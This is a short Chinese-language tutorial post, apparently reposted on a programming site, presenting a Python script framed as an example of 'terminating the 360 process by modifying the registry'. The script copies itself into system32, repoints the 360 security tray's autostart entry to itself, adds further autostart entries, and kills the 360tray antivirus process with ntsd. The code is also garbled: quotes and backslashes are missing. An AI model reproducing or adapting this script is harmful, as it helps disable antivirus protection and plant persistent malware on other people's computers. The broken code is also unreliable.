Home  >  Article  >  Backend Development  >  python修改注册表终止360进程实例

python修改注册表终止360进程实例

WBOY
WBOYOriginal
2016-06-06 11:19:541139browse

本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。

具体实现代码如下:

import _winreg
import os
import shutil
#复制自身
shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)
#把360启动改为自身
run = _winreg.OpenKey(
  _winreg.HKEY_LOCAL_MACHINE,
  "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
  run,"360Safetray",0,_winreg.REG_SZ,
  r"C:WINDOWSsystem32k3.exe"
)
#添加自启动
self = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
run,"k3",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
#添加所有用户启动
allrun = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"MicrosoftWindowsCurrentVersionpoliciesExplorerRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
allrun,"k3",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
#终止360进程
os.popen("ntsd -c q -pn 360tray.exe cmd")

希望本文所述对大家的Python程序设计有所帮助。

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn